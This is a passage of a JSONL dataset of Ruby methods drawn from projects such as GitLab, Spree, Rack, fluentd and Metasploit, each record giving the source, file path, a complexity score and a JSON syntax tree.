running:\n\n                ALTER #{user} WITH SUPERUSER\n\n            This query will grant the user superuser permissions, ensuring any database extensions\n            can be installed through migrations.\n\n            For more information, refer to https://docs.gitlab.com/ee/install/postgresql_extensions.html.\n          MSG\n\n          raise\n        end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_extension\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"extension\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE EXTENSION IF NOT EXISTS \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extension\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"StatementInvalid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dbname\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationRecord\"]},\"database\"]},\"database_name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationRecord\"]},\"database\"]},\"username\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"to_s\"]},\"include?\",{\"type\":\"str\",\"children\":[\"permission denied\"]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"GitLab requires the PostgreSQL extension '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extension\"]}]},{\"type\":\"str\",\"children\":[\"' installed in database '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dbname\"]}]},{\"type\":\"str\",\"children\":[\"', but\\n\"]},{\"type\":\"str\",\"children\":[\"the database user is not allowed to install the extension.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"You can either install the extension manually using a database superuser:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  CREATE EXTENSION IF NOT EXISTS \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extension\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Or, you can solve this by logging in to the GitLab\\n\"]},{\"type\":\"str\",\"children\":[\"database (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dbname\"]}]},{\"type\":\"str\",\"children\":[\") using a superuser and running:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    ALTER \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\" WITH SUPERUSER\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"This query will grant the user superuser permissions, ensuring any database extensions\\n\"]},{\"type\":\"str\",\"children\":[\"can be installed through migrations.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"For more information, refer to https://docs.gitlab.com/ee/install/postgresql_extensions.html.\\n\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},null]}]}","id":"9f8fae42-62ea-4c95-89b1-d65d27bbf1b8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/file_collection/paginated_merge_request_diff.rb","start_line":26,"raw_source":"def load_paginated_collection(page, per_page)\n          page ||= DEFAULT_PAGE\n          per_page ||= DEFAULT_PER_PAGE\n\n          relation.page(page).per(per_page.to_i)\n        end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"load_paginated_collection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"page\"]},{\"type\":\"arg\",\"children\":[\"per_page\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"page\"]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_PAGE\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"per_page\"]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_PER_PAGE\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"relation\"]},\"page\",{\"type\":\"lvar\",\"children\":[\"page\"]}]},\"per\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"per_page\"]},\"to_i\"]}]}]}]}","id":"fbce2996-30e9-441c-8ced-158f6f4a0d39"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/swift_fastlane_function.rb","start_line":340,"raw_source":"def protocol_name\n      function_name = camel_case_lower(string: self.function_name)\n      return function_name.capitalize + \"fileProtocol\"\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"protocol_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"function_name\",{\"type\":\"send\",\"children\":[null,\"camel_case_lower\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"function_name\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"function_name\"]},\"capitalize\"]},\"+\",{\"type\":\"str\",\"children\":[\"fileProtocol\"]}]}]}]}]}","id":"38608c49-f246-449f-95c2-ede91ddf88cc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/merge_requests/process_scheduled_merge_worker.rb","start_line":20,"raw_source":"def perform\n      in_lock(lock_key, **lock_params) do\n        # rubocop:disable CodeReuse/ActiveRecord -- using keyset pagination with custom order for better performance\n        order = Gitlab::Pagination::Keyset::Order.build([\n          Gitlab::Pagination::Keyset::ColumnOrderDefinition.new(\n            attribute_name: 'merge_after',\n            order_expression: MergeRequests::MergeSchedule.arel_table[:merge_after].asc,\n            nullable: :not_nullable\n          ),\n          Gitlab::Pagination::Keyset::ColumnOrderDefinition.new(\n            attribute_name: 'merge_request_id',\n            order_expression: MergeRequests::MergeSchedule.arel_table[:merge_request_id].asc,\n            nullable: :not_nullable\n          )\n        ])\n\n        scope = MergeRequests::MergeSchedule\n          .where(merge_after: ..Time.zone.now)\n          .order(order)\n          .select(:merge_after, :merge_request_id)\n\n        iterator = Gitlab::Pagination::Keyset::Iterator.new(scope: scope)\n\n        iteration = 0\n        iterator.each_batch(of: BATCH_SIZE) do |records|\n          loaded_records = MergeRequest\n            .with_auto_merge_enabled\n            .where(id: records.to_a.pluck(:merge_request_id))\n\n          enqueue_auto_merge_process_worker(loaded_records, iteration)\n          iteration += 1\n        end\n        # rubocop:enable CodeReuse/ActiveRecord\n      end\n    end","complexity_score":48.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_lock\",{\"type\":\"send\",\"children\":[null,\"lock_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lock_params\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"order\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Pagination\"]},\"Keyset\"]},\"Order\"]},\"build\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Pagination\"]},\"Keyset\"]},\"ColumnOrderDefinition\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attribute_name\"]},{\"type\":\"str\",\"children\":[\"merge_after\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order_expression\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequests\"]},\"MergeSchedule\"]},\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"merge_after\"]}]},\"asc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nullable\"]},{\"type\":\"sym\",\"children\":[\"not_nullable\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Pagination\"]},\"Keyset\"]},\"ColumnOrderDefinition\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attribute_name\"]},{\"type\":\"str\",\"children\":[\"merge_request_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order_expression\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequests\"]},\"MergeSchedule\"]},\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"merge_request_id\"]}]},\"asc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nullable\"]},{\"type\":\"sym\",\"children\":[\"not_nullable\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequests\"]},\"MergeSchedule\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_after\"]},{\"type\":\"irange\",\"children\":[null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]}]}]}]},\"order\",{\"type\":\"lvar\",\"children\":[\"order\"]}]},\"select\",{\"type\":\"sym\",\"children\":[\"merge_after\"]},{\"type\":\"sym\",\"children\":[\"merge_request_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"iterator\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Pagination\"]},\"Keyset\"]},\"Iterator\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"iteration\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iterator\"]},\"each_batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"records\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"loaded_records\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]},\"with_auto_merge_enabled\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"to_a\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"merge_request_id\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"enqueue_auto_merge_process_worker\",{\"type\":\"lvar\",\"children\":[\"loaded_records\"]},{\"type\":\"lvar\",\"children\":[\"iteration\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"iteration\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}","id":"8868e79e-06d7-4e3c-9810-1374db618c2f"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/adjustment.rb","start_line":91,"raw_source":"def tax?\n      source_type == 'Spree::TaxRate'\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"tax?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"Spree::TaxRate\"]}]}]}","id":"7bb851e2-cece-4c42-b806-88548c4f183a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issuable_base_service.rb","start_line":601,"raw_source":"def handle_label_changes(issuable, old_labels)\n    return false unless has_label_changes?(issuable, old_labels)\n\n    # reset to preserve the label sort order (title ASC)\n    issuable.labels.reset\n\n    GraphqlTriggers.issuable_labels_updated(issuable)\n\n    # return true here to avoid checking for label changes in sub classes\n    true\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_label_changes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issuable\"]},{\"type\":\"arg\",\"children\":[\"old_labels\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_label_changes?\",{\"type\":\"lvar\",\"children\":[\"issuable\"]},{\"type\":\"lvar\",\"children\":[\"old_labels\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"labels\"]},\"reset\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GraphqlTriggers\"]},\"issuable_labels_updated\",{\"type\":\"lvar\",\"children\":[\"issuable\"]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"ab36cbb9-5ddd-4a8e-b4d3-a84fb9182bdc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/api_fabricator.rb","start_line":248,"raw_source":"def extract_graphql_id(item)\n        item.fetch(:id).split('/').last\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_graphql_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"last\"]}]}","id":"96967794-67bc-4431-9a79-6b36fc8456f3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/bitbucket_import/importers/lfs_objects_importer.rb","start_line":9,"raw_source":"def execute\n          log_info(import_stage: 'import_lfs_objects', message: 'starting')\n\n          download_service = Projects::LfsPointers::LfsObjectDownloadListService.new(project)\n\n          begin\n            queue_workers(download_service) if project.lfs_enabled?\n          rescue StandardError => e\n            track_import_failure!(project, exception: e)\n          end\n\n          log_info(import_stage: 'import_lfs_objects', message: 'finished')\n\n          job_waiter\n        end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"import_stage\"]},{\"type\":\"str\",\"children\":[\"import_lfs_objects\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"starting\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"download_service\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Projects\"]},\"LfsPointers\"]},\"LfsObjectDownloadListService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"lfs_enabled?\"]},{\"type\":\"send\",\"children\":[null,\"queue_workers\",{\"type\":\"lvar\",\"children\":[\"download_service\"]}]},null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"track_import_failure!\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exception\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"log_info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"import_stage\"]},{\"type\":\"str\",\"children\":[\"import_lfs_objects\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"finished\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"job_waiter\"]}]}]}","id":"3af35525-2713-4604-bcb7-48810257bea8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/projects/remote_mirror_spec.rb","start_line":36,"raw_source":"def expect_mirror_to_have_error_and_timeago(timeago)\n      row = first('.js-mirrors-table-body tr')\n      expect(row).to have_content('Error')\n      expect(row).to have_content(timeago)\n    end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_mirror_to_have_error_and_timeago\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"timeago\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"row\",{\"type\":\"send\",\"children\":[null,\"first\",{\"type\":\"str\",\"children\":[\".js-mirrors-table-body tr\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"row\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_content\",{\"type\":\"str\",\"children\":[\"Error\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"row\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_content\",{\"type\":\"lvar\",\"children\":[\"timeago\"]}]}]}]}]}","id":"5cd29a44-ca7a-4565-beeb-44a780a2c501"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/conditional_get.rb","start_line":52,"raw_source":"def fresh?(env, headers)\n      # if-none-match has priority over if-modified-since per RFC 7232\n      if none_match = env['HTTP_IF_NONE_MATCH']\n        etag_matches?(none_match, headers)\n      elsif (modified_since = env['HTTP_IF_MODIFIED_SINCE']) && (modified_since = to_rfc2822(modified_since))\n        modified_since?(modified_since, headers)\n      end\n    end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"fresh?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]},{\"type\":\"arg\",\"children\":[\"headers\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"none_match\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTP_IF_NONE_MATCH\"]}]}]},{\"type\":\"send\",\"children\":[null,\"etag_matches?\",{\"type\":\"lvar\",\"children\":[\"none_match\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"modified_since\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTP_IF_MODIFIED_SINCE\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"modified_since\",{\"type\":\"send\",\"children\":[null,\"to_rfc2822\",{\"type\":\"lvar\",\"children\":[\"modified_since\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"modified_since?\",{\"type\":\"lvar\",\"children\":[\"modified_since\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]}]},null]}]}]}","id":"18a0fd3f-1d40-4370-a0bf-d573c04631f3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/error_tracking/sentry_client/issue_link.rb","start_line":31,"raw_source":"def global_integration_link_api_url(integration_id, sentry_issue_id)\n        issue_link_url = URI(url)\n        issue_link_url.path = \"/api/0/groups/#{sentry_issue_id}/integrations/#{integration_id}/\"\n\n        issue_link_url\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"global_integration_link_api_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"integration_id\"]},{\"type\":\"arg\",\"children\":[\"sentry_issue_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"issue_link_url\",{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"send\",\"children\":[null,\"url\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue_link_url\"]},\"path=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/api/0/groups/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sentry_issue_id\"]}]},{\"type\":\"str\",\"children\":[\"/integrations/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"integration_id\"]}]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"lvar\",\"children\":[\"issue_link_url\"]}]}]}","id":"b73c338f-9c7d-4876-8276-8923186f38dd"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin_helper/test_inject.rb","start_line":26,"raw_source":"def config_inject_section(hash = {})\n    config_element('ROOT', '', {}, [config_element('inject', '', hash)])\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"config_inject_section\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"hash\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"config_element\",{\"type\":\"str\",\"children\":[\"ROOT\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config_element\",{\"type\":\"str\",\"children\":[\"inject\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}]}]}","id":"07b9dc57-52d4-4a3e-87c4-8401b11a7045"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/create_service.rb","start_line":346,"raw_source":"def create_from_template?\n      @params[:template_name].present? || @params[:template_project_id].present?\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create_from_template?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"template_name\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"template_project_id\"]}]},\"present?\"]}]}]}","id":"17e7f699-1763-4a2c-aa0d-032163838117"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/http/response.rb","start_line":69,"raw_source":"def get_cookies\n    cookies = \"\"\n    if (self.headers.include?('Set-Cookie'))\n      set_cookies = self.headers['Set-Cookie']\n      key_vals = set_cookies.scan(/\\s?([^, ;]+?)=([^, ;]*?)[;,]/)\n      key_vals.each do |k, v|\n        # Dont downcase actual cookie name as may be case sensitive\n        name = k.downcase\n        next if name == 'path'\n        next if name == 'expires'\n        next if name == 'domain'\n        next if name == 'max-age'\n        cookies << \"#{k}=#{v}; \"\n      end\n    end\n\n    return cookies.strip\n  end","complexity_score":29.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_cookies\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cookies\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"headers\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Set-Cookie\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"set_cookies\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Set-Cookie\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"key_vals\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"set_cookies\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s?([^, ;]+?)=([^, ;]*?)[;,]\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_vals\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"downcase\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"path\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"expires\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"domain\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"max-age\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookies\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]}]},{\"type\":\"str\",\"children\":[\"; \"]}]}]}]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookies\"]},\"strip\"]}]}]}]}","id":"9206e138-9b71-453e-ade6-2b0881cbba3b"}
